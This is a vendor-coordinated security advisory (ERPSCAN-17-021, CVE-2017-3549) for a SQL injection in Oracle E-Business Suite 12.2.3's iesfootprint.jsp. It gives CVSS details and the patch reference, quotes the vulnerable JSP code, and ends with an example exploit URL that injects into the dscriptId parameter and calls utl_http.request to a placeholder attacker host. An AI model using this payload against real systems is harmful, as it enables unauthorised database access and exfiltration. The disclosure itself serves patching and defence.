Application: Oracle E-Business Suite
Versions Affected: Oracle EBS 12.2.3
Vendor URL: http://oracle.com
Bug: SQL injection
Reported: 23.12.2016
Vendor response: 24.12.2016
Date of Public Advisory: 18.04.2017
Reference: Oracle CPU April 2017
Author: Dmitry Chastuhin (ERPScan)

Description

1. ADVISORY INFORMATION

Title:[ERPSCAN-17-021] SQL Injection in E-Business Suite IESFOOTPRINT
Advisory ID: [ERPSCAN-17-021]
Risk: high
CVE: CVE-2017-3549
Advisory URL: https://erpscan.com/advisories/erpscan-17-021-sql-injection-e-business-suite-iesfootprint/
Date published: 18.04.2017
Vendors contacted: Oracle


2. VULNERABILITY INFORMATION

Class: SQL injection
Impact: read sensitive data, modify data from database
Remotely Exploitable: yes
Locally Exploitable: no

CVSS Information

CVSS Base Score v3:    8.0 / 10
CVSS Base Vector:
AV : Attack Vector (Related exploit range) Network (N)
AC : Attack Complexity (Required attack complexity) High (H)
PR : Privileges Required (Level of privileges needed to exploit) High (H)
UI : User Interaction (Required user participation) None (N)
S : Scope (Change in scope due to impact caused to components beyond
the vulnerable component) Changed (C)
C : Impact to Confidentiality High (H)
I : Impact to Integrity High (H)
A : Impact to Availability High (H)

3. VULNERABILITY DESCRIPTION

The code comprises an SQL statement containing strings that can be
altered by an attacker. The manipulated SQL statement can be used then
to retrieve additional data from the database or to modify the data
without authorization.

4. VULNERABLE PACKAGES

Oracle EBS 12.2.3

5. SOLUTIONS AND WORKAROUNDS

To correct this vulnerability, implement Oracle CPU April 2017

6. AUTHOR

Dmitry Chastuhin


7. TECHNICAL DESCRIPTION

PoC

vulnerable jsp name is  iesfootprint.jsp

 deployDate = ((request.getParameter("deployDate")) != null) ?
request.getParameter("deployDate") : "";
  responseDate = ((request.getParameter("responseDate")) != null) ?
request.getParameter("responseDate") : "";
  dscriptName = ((request.getParameter("dscript_name")) != null) ?
request.getParameter("dscript_name") : "";
  dscriptId = ((request.getParameter("dscriptId")) != null) ?
request.getParameter("dscriptId") : "";
%>

<%
// Process the data based on params
if (showGraph) {
   // Create Query String
   StringBuffer query = new StringBuffer("SELECT panel_name,
count_panels, avg_time, min_time, max_time, ");
   query.append("\'").append(_prompts[10]).append("\'");
   query.append(" Average_Time FROM (SELECT rownum, panel_name,
count_panels, avg_time, min_time, max_time FROM (SELECT Panel_name,
count(panel_name) count_panels,
(sum(total_time)/count(panel_name))/1000 avg_time, min(min_time)/1000
min_time, max(max_time)/1000 max_time FROM IES_SVY_FOOTPRINT_V WHERE
dscript_id = ");
   query.append(dscriptId);
   query.append(" AND start_time between ");
   query.append("\'").append(deployDate).append("\'");
   query.append(" and ");
   query.append("\'").append(responseDate).append("\'");
   query.append(" GROUP BY panel_name ORDER BY avg_time desc)) WHERE
rownum < 11");



   // Get XMLDocument for the corresponding query and Paint graph
   try {

       XMLDocument xmlDoc = XMLServ.getSQLasXML(query.toString());
       htmlString =XMLServ.getXMLTransform(xmlDoc,htmlURL);

Approximate request with SQL injection


http://ebs.example.com/OA_HTML/iesfootprint.jsp?showgraph=true&dscriptId=11'
AND utl_http.request('http://attackers_host/lalal')='1' GROUP BY
panel_name)) --





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